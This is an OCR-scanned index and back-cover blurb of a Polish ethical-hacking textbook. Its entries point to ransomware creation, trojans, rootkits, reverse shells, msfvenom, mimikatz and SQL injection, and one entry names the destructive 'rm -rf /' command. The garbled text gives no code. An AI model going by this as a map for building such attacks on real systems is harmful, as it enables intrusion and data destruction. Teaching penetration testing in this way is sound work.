elektroniczna ksigzka kodéw, ECB, 92 flaga
e-mail -days, 125
funkcje obronne, 139 enc -aes-256-ctr, 95
proces wymiany wiadomosci, 134 FIN, 74
encja, 153 genrsa, 99
enkapsulacja, 55 -help, 284
enkoder, 221 -keyout, 126
Base64, 222 LHOST, 209
polimorficzny, 226 -new, 125
powershell_base64, 222 -0, 82
SGN, 225, 226 -oaep, 101
kodowanie bajtéw, 226 -paramfile, 117

PAYLOAD, 209
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flaga
PSH, 74
-pubout, 100
pubout, 119
req, 125
rsa, 99
-sV, 73
SYN, 70
SYN S, 83
URG, 74
WP, 252
-x509, 126
formularz HTML, 142
fragmentacja, 180
FTP, 56
funkcja
ARP(), 51
arp_restore(), 51
arp_spoof(), 51
bind(), 78
encode_block(), 225
exploit(), 187
fclose(), 249
getdents(), 256
getdents64(), 257
HMAC, 111
make_animation(), 147
pad(), 102
printk(), 246
proc.communicate(), 77
select(), 184
skrotu, 102, 112, 277
MD35, 278, 279
SHA256, 105, 200, 278, 281
sniff(), 49
sr(), 84
tworzenia klucza, 92
tworzenia klucza oparta na hastach, 92
fuzzer python-afl, 192
fuzzing, 179, 188
losowy, 189
programu, 191, 193
projektu open source, 205
protokoléw internetowych, 204

G

generator liczb pseudolosowych, PRG, 91
generowanie

klucza RSA, 233

pary kluczy, 116
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GNFS, general numer field sieve, 121
gniazdo, 68
klienta
bezpieczne polaczenie, 125
serwera
bezpieczne polaczenia, 126
TCP, 68, 71
UDP, 69
Google Colab, 145
Google dorking, 158
graficzny interfejs uzytkownika, 259

H

hakowanie systeméw przemystowych, 359

Hashcat, 284

hasta uzytkownikéw, 321

hierarchia sieci, 41

HMAC, hash-based message authentication
codes, 111

honey pot, 160

hooking, 250, 251, 257

HSTS bypass, 128

HTML, 141

HTTP, 56

HTTPS, 128

Hydra, 285

ICMP, Internet Control Message Protocol, 57
implementacja serwera SSH, 314
indeksowanie, 298
informatyka §ledcza, 359
instalowanie
AFL, 191
rootkitéw, 262, 304
interfejs
API, 68
eth0, 58
lo, 59
petli zwrotnej, 59
serwera Metasploitable, 313
wlan, 59
Internal LAN, 27
inzynieria wsteczna, 358
IP forwarding, 44
iptables, 163
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JavaScript, 306
JDK

instalowanie, 233
jednostka organizacyjna, 334
jezyk SQL, 266

Kali Linux
ekran logowania, 32
konfigurowanie, 31
karta
sieciowa, NIC, 57
adres MAC, 40
Bridged Adapter, 27
SIM, 157
Kerberoasting, 346
Kerberos, 342
keylogger, 262
klauzula
FROM, 267
SELECT, 267
WHERE, 267
klient
odwréconej powloki, 75
ransomware, 107
zapytan LDAP, 338
klonowanie
glosu, 148
strony, 142
klucz, 88
jednorazowy, 88, 118
pojedynczy wspétdzielony, 96
prywatny, 97, 116
publiczny, 96, 100, 116
RSA, 233
SSH, 350
symetryczny, 104, 109, 110
tajny, 119
kod
modutu jadra, 244
odwré6conej powloki, 76
uwierzytelniania, 112
kodowanie
ASCII, 222
Base64, 101, 222
kompilowanie modutu jadra, 255
komponenty sieci, 56
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komunikacja
SMTP, 135
TLS, 110
koncentrator cyfrowych linii abonenckich,
DSLAM, 42
konfigurowanie
Kali Linux, 31
kart sieciowych, 27
Metasploitable, 30
pfSense, 25, 27
sieci wewnetrznej, 27
sieci wewnetrznej Metasploitable, 30
SSH, 350
Ubuntu Linux Desktop, 32
VirtualBox, 24
VPS, 350
wirtualnego routera, 27
kontroler domeny, 328, 334
kradziez
hasel, 268
pliku cookie, 293
krotka, 76
kryptografia
asymetryczna, 96, 351
klucza publicznego, 96
krzywa eliptyczna
Diffiego-Hellmana, 121
réwnanie, 122

LCG, 91, 92
LDAP, 338
obstuga wigzan, 338
LDAP, Lightweight Directory Access Protocol,
334
liczba jednorazowa, 94
licznikowy szyfr blokowy, CTR, 93
liniowy generator kongruencyjny, LCG, 91
Linux
hasta uzytkownikéw, 321
nazwy uzytkownikéw, 321
skréty haset, 321
uprawnienia, 322
uruchomienie exploita, 325
lista
luk w Exploit Database, 167
par adreséw e-mail i hasel, 156
wykluczen, 160
zapytan Google, 159
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loopback interface, 59
losowy fuzzing, 189
LSSAS, Local Security Authority Subsystem
Service, 329
luka
backdoor, 33
Dirty COW, 323
Heartbleed, 180
vitpd, 261
w protokole ARP, 39
zero-click, 75
zero-day, 179
luki w zabezpieczeniach, 168, 169
lista w Exploit Database, 167
przegladarki Chrome, 304
wykryte podczas skanowania, 172

t
lamanie
haset, 200, 266, 283
skrétow, 281, 283
lacza magnet, 156
M

MAC flooding, 51
MAC, message authentication code, 112
magazyn kluczy Java, 232
magnet, 156
Maltego, 153
transformacje, 153
uruchomienia transformacji, 154
wyniki transformacji, 155
Maltego CE free, 153
malware, 208
Masscan, 159
odczyt baneréw, 162
opcja source-ip, 162
skanowanie Internetu, 161
maszyna wirtualna
Kali Linux, 31
kopia zapasowa, 243
Metasploitable, 30, 31
pfSense, 27
Ubuntu Linux Desktop, 32
medium transmisyjne, 57
menedzer
pakietéw apt-get, 44
urzadzen wirtualnych Android, 234
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Metasploit

Framework, 208, 224

interfejs Armitage, 259

scanning tool, 174

tworzenie modulu, 224
Metasploitable

aktualizacja vsftpd, 36

atak typu backdoor, 35

konfigurowanie maszyny wirtualnej, 30

uruchomienie maszyny wirtualnej, 31

w przegladarce Kali Linux, 35
metoda

handle(), 83

Popen, 77
printk(), 245
mimikatz

zdobywanie skrétéw hasel, 329
model
klient-serwer, 72
obiektowy dokumentu, DOM, 293
peer-to-peer, P2P, 73
modut
Fernet, 105
jadra, 243
keylogger, 262
kod, 244
kompilowanie, 245, 255
ofiary, 212
tworzenie rootkitéw, 247
uruchamianie, 245
Metasploit, 224
modyfikowanie tablicy wpiséw, 257
monitorowanie gniazda, 184
msfvenom, 210, 216, 225-227, 229-230
MTU, transmission unit, 180
Mutillidae, 268
ekran logowania, 270

N

narzedzia
do testéw penetracyjnych, 31
fizyczne, 359
hakerskie, 352
narzedzie, Patrz takze polecenie
Ajax spider, 298
Angr, 200
apktool, 230
Armitage, 258
arpspoof, 44-50
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BeEF, 300
BloodHound, 340
Cookie Quick Manager, 294
dirb, 269
Discover, 173
dnsrecon, 174
dsniff, 44
goofile, 174
Hashcat, 284
Hydra, 285
iptables, 163
jarsigner, 233
King Phisher, 148, 149
Maltego, 153
Masscan, 159
Metasploit scanning tool, 174
msfvenom, 210, 216, 225-227, 229-230
netcat, 136, 224
netdiscover, 34, 44, 170
nmap, 73
NoSQLMap, 287
openssl, 120
OSINT, 175
pyarmor, 240
Recon-ng, 174
Responder, 336
rtorrent, 157
Secure Shell, 71
SharpHound, 340
Shodan, 163
spike, 204
SQLMap, 275
swaks, 149, 150
Tails, 348
TCPDump, 52, 63-65
theHarvester, 174
Tor, 348
traceroute, 57, 84, 174
URLCrazy, 139, 144, 174, 306
Whatweb, 174
Wireshark, 52, 58
ZAP, 298, 299
Zmap, 159
NAT, 71, 165
dzialanie, 165
nazwy uzytkownikéw, 321
Nessus, 169
instalowanie, 169
skanowanie, 171
uzyskiwanie dostepu, 170
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netcat, 35, 136, 224, 320
netdiscover, 34, 44, 170
NIC, network interface card, 40, 57
nieuprawniony odczyt pamieci, 186
nmap, 73, 159
skanowanie, 172
NoSQLMap, 287
notatnik Colab, 145
NTLM, NT LAN Manager, 332
proces uwierzytelniania, 332
numery
portéw, 53
sekwencyjne, 69

0

obejscie HSTS, 128
obliczenia kwantowe, 359
obraz ISO pfSense, 28
usuwanie, 29
ochrona przed zapisem, 252
odszyfrowywanie pliku, 95
odwrécona powloka, reverse shell, 68
kod klienta, 76
ladowanie na Metasploitable, 78
TCP, TCP reverse shell, 71
tworzenie klienta, 75
okno narzedzia Wireshark, 60
okres, 92
opcja
Conversation Filter/TCP, 61
Follow/TCP Stream, 62
Traffic graphs, 66
OpenSSL, 95, 99-102, 116-121, 125, 140,
162, 180
operacja wiazania, 338, 340
operator XOR, 90
OSINT, open-source intelligence, 151, 174
OWASP, 270, 297

pakiet, 40
ACK, 70, 74
APK
dekompilacja, 230
podpisywanie, 232
FIN, 71, 74
Heartbeat, 186
ICMP, 84
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pakiet

Scapy, 48

SYN, 70

SYN-ACK, 70

TCP SYN, 83

TCP-FIN, 74

TLS, 184
pakiety

utracone, dropped, 57

z numerami sekwencyjnymi, 69
pamieé adresowana zawartoscia, CAM, 51
para kluczy publiczny - prywatny, 116
peer-to-peer, P2P, 73, 80, 81, 156
pelny dupleks, full duplex, 70
pfSense

instalacja, 25

konfiguracja, 25, 27

pulpit, 66

uruchomienie maszyny wirtualnej, 28
phishing, 133, 149
piaskownica, 303
pivoting, 311

urzadzenia dual-homed, 312

za pomoca Metasploita, 316
plik

.deb, 214

Jetc/passwd, 321

Jetc/shadow, 321

control, 215

MainActivity.smali, 232

md>5sums, 215

OVA, 31

postint, 215

robots.txt, 158

wpconfig.php, 269
pliki

.vmdk, 30

wykonywalne, 241
podatnosci typu zero-day, 179
podpisanie trojana, 233
podpis

tworzenie, 112

tworzenie algorytmu, 113

weryfikowanie, 112
podpisywanie, 97

pliku APK, 232
podproces, 77
polecenie

arp -a, 50

arpspoof, 45, 46
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cat, 101, 102
DATA, 137
dmesg, 246
grep, 246
gunzip, 25
ifconfig, 235, 295
Is, 256
Ismod, 247, 262
make, 246
msfvenom, 216
netdiscover, 34
ping, 81
ps, 213
reboot, 36
rm -rf/, 36
show encoders, 222
tepdump, 64
touch, 81
urlsnarf, 46
use, 209
whoami, 36, 79
polaczenie
HTTPS, 48, 128
TCP, TCP handshake, 69
z serwerem FTP, 35
port, 54
21, 35
25, 135
80, 63
443, 83, 162
6200, 34, 75
porty
docelowe, 53
otwarte, 54
otwarte TCP i UDP, 159
rejestr nazw ustugi i numeréw, 72
skanowanie, 73
zrodlowe, 53
porywanie URL, squatting, 144
poszukiwanie otwartych portéw, 73
poswiadczenia, 269
potok, 82
powigzania pierwszego stopnia, 152
powloka, shell, 34, 64
proces, 54
hookingu, 251
LSSAS, 329
program
do wykrywania hasta, 202
do wstrzykiwania zapytan, 273
tamigcy posolony skrot, 282
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protokét, 52
ARP, 39
DHCP, 314
DNS, 52
ESMTP, 136
HTTPS, 63, 128
ICMP, 57
IPv6, 165
Kerberos, 342
kontroli transmisji, TCP, 57
LDAP, 337
LLMNR, 335
NTLM, 332
pakietéw uzytkownika, UDP, 57
przesylania dokumentéw hipertekstowych,
HTTP, 56
przesylania plikéw, FTP, 56
SMTP, 135
SMTPS, 135, 140
SSH, 314
TLS, 109
wielodostepu przez wykrywanie no$nej,
MAC, 57
Protonmail, 153, 164
proxy, 319
przechwytywanie ruchu sieciowego, 44
ARP spoofing, 39
na porcie 80, 64
przecigzenie bufora, buffer over-read, 180
przegladarka
Chrome, 304
Firefox, 60
Opera, 153
przejmowanie karty SIM, 158
przekazywanie adresow 1P, 44
przestrzen
jadra, 248
uzytkownika, 248
pulpit pfSense, 66
pulapka honey pot, 160
Python
implementacja ARP spoofer, 50
tworzenie zlo§liwej aplikacji, 239

R

radia definiowane programowo, 356
random fuzzing, 189
ransomware, 87

tworzenie oprogramowania, 103

Kup ksigzke

regula tego samego pochodzenia, 293
reguty HSTS, 128
rejestrowanie naci$nieé¢ klawiszy, 264
reverse shell, 68
root, 79
rootkit, 213, 242, 247
instalowanie, 262, 304
narzedzie Armitage, 258
ukrywanie plikéw, 256
router/firewall pfSense, 25
rozwidlenie, fork, 77
réwnanie krzywej eliptycznej, 122

S

serwer
atakujacy, 208
BeEF, 300
FTP, 35
HTTP, 143
LDAP, 339
Linux, 30
Metasploitable
adres IP, 34
tadowanie odwréconej powloki, 78
ransomware, 106
szyfrowanie, 129
SMTP, 135
testowanie bezpieczenstwa, 149
SSH, 71
TCP, 77
SGN, Shikata Ga Nai, 225
Shodan, 163
filtry, 164
sied¢
typu Air Gap, 358
VPN, 139, 153
wewnetrzna Metasploitable, 30
silnik DSE, 197
dziatanie, 198-200
SIM jacking, 158
skaner podatnosci, 169
Nessus Home, 169
Nexpose, 169
skanowanie, 44, 260
aktywne (narzedzia)
traceroute, 174
Whatweb, 174
Discover, 174
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skanowanie szyfr

FIN, 74 AES, 95
Internetu, 159 blokowy, 95
lista wykluczen, 160 AESGCM, 124
nmap, 75, 172 tryb CTR, 93
OSINT, 173 tryb ECB, 92
pasywne (narzedzia) Cezara, 88
ARIN, 174 Vigenere, 108
dnsrecon, 174 z kluczem jednorazowym, 88
goofile, 174 szyfrowanie, 87
Metasploit scanning tool, 174 asymetryczne, 102
Recon-ng, 174 pliku, 95, 99
theHarvester, 174 ruchu internetowego, 48
URLCrazy, 174 typu one-time, 89
whois, 174 uwierzytelnione z powigzanymi danymi, 125
portéw, 73 wiadomosci e-mail, 96
SYN, 73, 80, 83, 159 znaku, 89
XMas, 74
ZAP, 299 &
skrét, hash, 112, 277
HMAC-SHA256, 321 Sciezka certyfikatu, 114
MD5, 278
budowa blokéw, 279 T
SHA-256, 281
skrét klawiaturowy tabela
Ctl+C, 64, 315 NAT, 166
Win+X, 330 wywolan systemowych, 249
skroty haset ARP, 42
zdobywane w systemie Linux, 321 tablica linux_dirent, 256
zdobywane w systemie Windows, 329 Tails, 348
stowo kluczowe TCP, 57
final, 105 handshake, 69
try, 105 reverse shell, 71
with, 105 three-way handshake, 69
SMTP, simple mail transfer protocol, 135 TCPDump, 52, 63-65
SMTPS. 140 tekst jawny, 87
socjotec)hnika, 131 teoria Rivesta-Shamira-Adlemana, 97
solenie skrétu, 282 testy penetracyjne, 31
SQL injection, 266 TLS, transport layer security, 109
SQLMap, 275-277 Tor, 348
SSL, Secure Sockets Layer, 124 torrent, 156
sterownik, driver, 243 traceroute, 57, 84, 174
stos protokoléw internetowych, 54 transformacje Maltego, 153-155
stripping SSL, 128 translacja adreséw sieciowych, NAT, 71, 165
sygnatura trasa, route, 317
binarna, 223 trojan, 207, 213
zlosliwego oprogramowania, 221 dla Windowsa, 227
szablony, templates, 291 hosting, 217
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instalowanie backdoora, 220
kontrolowanie pracy, 219
na Androida, 229, 234, 235
testowanie, 234
pobieranie, 218, 235
podpisanie, 233
tworzenie, 214-216
ukrywanie
w dokumencie programu Word, 228
w grze Saper, 227
tryby szyfru blokowego
CTR, 93
ECB, 92
tworzenie
exploita, 181
fatszywych filméw, 144
funkcji exploita, 187
fuzzera, 189
klienta odwréconej powloki, 75
kopii maszyny wirtualnej, 243
modutu jadra, 262, 243
modutu Metasploit, 224
narzedzia OSINT, 175
oprogramowania ransomware, 103
pliku wykonywalnego, 241
podpisu, 112
programu do wstrzykiwania zapytan, 273
proxy, 319
rootkitéw, 247
serwera TCP, 77, 83
sfalszowanego e-maila, 138
skanowania Nessusa, 171
trojana, 207, 210, 214
dla Windows, 227
na Androida, 229
wiadomosci Client Hello, 182
wirtualnego laboratorium, 329
wykonywalnego pliku binarnego, 200
zlo§liwego zadania Heartbeat, 185
zlosliwej aplikacji, 239
tylne drzwi, Patrz backdoor

U

Ubuntu

instalacja, 33

konfiguracja maszyny wirtualnej, 32
uczenie maszynowe, 146

UDP, 57

Kup ksigzke

ukrywanie
plikéw, 256
trojana w dokumencie programu Word, 228
trojana w grze Saper, 227
uprawnienia debugowania, 330, 331
uprawnienie SUID, 324
uruchamianie
exploita, 325
modutu jadra, 245
transformacji, 154
urzadzenie dual-homed, 312
urzedy certyfikacji, 113
ustuga
Active Directory, 336
DNS, 335
Dyn DNS, 80
LDAP, 336
Nessus, 169
ustugi
podatne na bledy, 75
zaplecza, backend services, 269
usuwanie SSL, stripping SSL, 128
utajnienie z wyprzedzeniem, 126
utwardzanie, hardening, 348
serwera, 353
uwierzytelnianie
dwuskladnikowe, 157
Kerberos, 342
na serwerze SSH, 351
przy uzyciu NTLM, 332
wiadomosci, 111
uzgadnianie tréjetapowe TCP, 69

v

VDI, VirtualBox Disk Image, 27
VirtualBox
instalacja, 24
maszyna wirtualna
Kali Linux, 31
Metasploitable, 30
pfSense, 26
opcja
Attached to, 32
Power off the machine, 28
Reboot, 28
Remove Attachment, 29
Settings, 29
przycisk New, 30, 32
sie¢ wirtualna, 24
zwiekszanie rozmiaru dysku, 157

Skorowidz 371

Pole¢ ksigzke


https://helion.pl/rf/etyhak
https://helion.pl/rt/etyhak

VPN, 139, 153
VPS, 347
konfigurowanie, 350

w

walidacja certyfikatu, 113
warstwy stosu protokoléw, 55

aplikacji, 56

fizyczna, 58

Tacza danych, 57

sieciowa, 57

transportowa, 57

zabezpieczenia, 110

wektor inicjujacy, 225
weryfikowanie podpisu, 112

wgrywanie zlosliwego oprogramowania, 211

whois, 152-155, 174-176
wiadomosé
Client Hello, 181
tworzenie, 182
Server Done, 181, 184
wigzania, 338
Windows
domena, 334
jednostka organizacyjna, 334
kontroler domeny, 334
proces Issas, 329
skréty haset, 329
ustuga
Active Directory, 336
DNS, 335
LDAP, 337
Wireshark, 52
analizowanie pakietow, 65
ekran powitalny, 58
eksplorowanie pakietow, 67
filtrowanie
konwersacji TCP, 62
pakietéw, 61
ikona ptetwy rekina, 60
instalowanie, 58
interakcja z kartg sieciowa, 59
okno narzedzia, 60
pakiety ARP spoofing, 59

przechwytywanie pakietéw, 60

§ledzenie strumienia TCP, 62
uruchamianie, 58

wirtualny serwer prywatny, VPS, 347, 350

wskaznik myszy, 30
wstepne uwierzytelnianie, 344
wstrzykiwanie
kodu NoSQL, 286
zaczepu BeEF, 300
zapytan SQL, 271, 273
wtyczka NoScript, 307

wykonanie symboliczne, symbolic execution,

195
dla programu testowego, 195

dynamiczne, 197, Patrz takze silnik DSE

ograniczenia, 196
wykonywanie

ataku socjotechnicznego, 301

wspoltbiezne, 197
wykrywanie

ataku ARP spoofing, 48

ruchu, motion detection, 144
wyludzanie informacji, 149
wymiana

kluczy, 118

wiadomosci e-mail, 134
wyszukiwanie

aktywnych adreséw IP, 163

DNS, 135

luki w zabezpieczeniach, 75

plik6w, 269

wrazliwych stron, 158
wyszukiwarka

Google, 158

Shodan, 163
wywolania systemowe

dzialanie, 248

proces hookingu, 251

przechwytywanie, 251

przywracanie wpisu, 254

X
XOR, 88, 90

y4

zabezpieczenia warstwy transportowej, TLS,

109, 110
zaciemnianie kodu, 240
zapora sieciowa

iptables, 163
pfSense, 25, 27, 63

wirtualna sieé prywatna, VPN, 139, 153
wirtualne laboratorium Windows, 329
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zapytanie SELECT, 267 zmienianie

zatrucie LLMNR, 335 hasta, 66
zdalne wykonanie kodu, 180 sygnatury, 221
zdarzenie enkoder Base64, 222
module_exit(), 244 enkoder SGN, 226
module_init(), 244 znak
Zed Attack Proxy, 298 nowego wiersza, 137
ziarno, seed, 91 powrotu karetki, 137
zlosliwa ustuga Androida, 232 zrekonstruowany strumieni TCP, 63
zlosliwe zrzucanie pamieci procesu LSSAS, 329
oprogramowania, malware, 208
dostarczanie, 213 Z
ukrywanie w pliku, 213
Wgrywanje, 211 zqdama HTTP, 271
zadanie, 186 GET, 272, 293
zlosliwy POST, 272

kod JavaScript, 306
pakiet APK, 230, 232
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Dowiedz sie wiece] | dotacz juz dzisiaj!
http://program-partnerski.helion.pl



https://program-partnerski.helion.pl

Wiamuj sie
jak prawdziwy ekspert!

Zdajesz sobie sprawe, ze tylko w 2021 roku cyber-
przestepcy ukradli ponad 100 milionéw dolaréw
w kryptowalutach, prébowali zatru¢ wode na Flo-
rydzie, wlamali sie do sieci firmowej Pfizer Pharma-
ceuticals, zaatakowali Colonial Pipeline przy uzyciu
oprogramowania ransomware, atakowali agencje
rzadowe i dziataczy politycznych licznych panstw?
Tego rodzaju ataki moga mie¢ powazne konse-
kwencje spoteczne i ekonomiczne. Nasze bepie-
czenstwo zalezy wiec od mozliwosci zabezpiecze-
nia infrastruktury. W tym celu potrzebujemy
etycznych hakeréw, ktérzy odkrywaja luki w zabez-
pieczeniach, zanim zostang wykorzystane przez
niebezpiecznych i bezwzglednych ludzi.

Ta ksigzka, bedaca szybkim kursem nowoczesnych
technik hakerskich, przedstawia ré6zne rodzaje
cyberatakéw, wyjasnia ich podstawy technologi-
czne i omawia stuzace im narzedzia. Dowiesz sie,

w jaki sposob przechwytywac ruch sieciowy i badac
pozyskane pakiety. Nauczysz sie zdalnie urucha-
mia¢ polecenia na komputerze ofiary i napiszesz
wiasny ransomware. Przeczytasz o tym, jak wykry-
wac nowe luki w oprogramowaniu, jak tworzy¢ tro-
jany i rootkity, a takze jak uzywac techniki wstrzyki-
wania SQL. Zapoznasz sie réwniez z szeroka gama
narzedzi do przeprowadzania testéw penetracyj-
nych (takich jak Metasploit Framework, mimikatz

i BeEF), rozeznasz sie w dziataniu zaawansowanych
fuzzeréw i sposobach szyfrowania ruchu interneto-
wego. Poznasz tez wewnetrzne mechanizmy ztosli-
wego oprogramowania.

Dowiedz sie, jak:

prowadzi¢ ataki typu cross-site scripting

»  pisac¢ wiasne narzedzia hakerskie
w jezyku Python

przechwytywac hasta
w firmowej sieci Windows

skanowac urzadzenia w internecie
i znajdowac potencjalne ofiary

« instalowac linuksowe rootkity
i modyfikowac system
operacyjny ofiary

DR DANIEL G. GRAHAM

jest adiunktem na Uniwersytecie Wirginii

w Charlottesville, wczesniej pracowat w firmie
Microsoft. Interesuje sie bezpieczeristwem
systeméw wbudowanych i zabezpieczaniem
sieci. Autor licznych artykutéw na temat
czujnikéw i sieci, publikowanych na tamach
czasopism IEEE.
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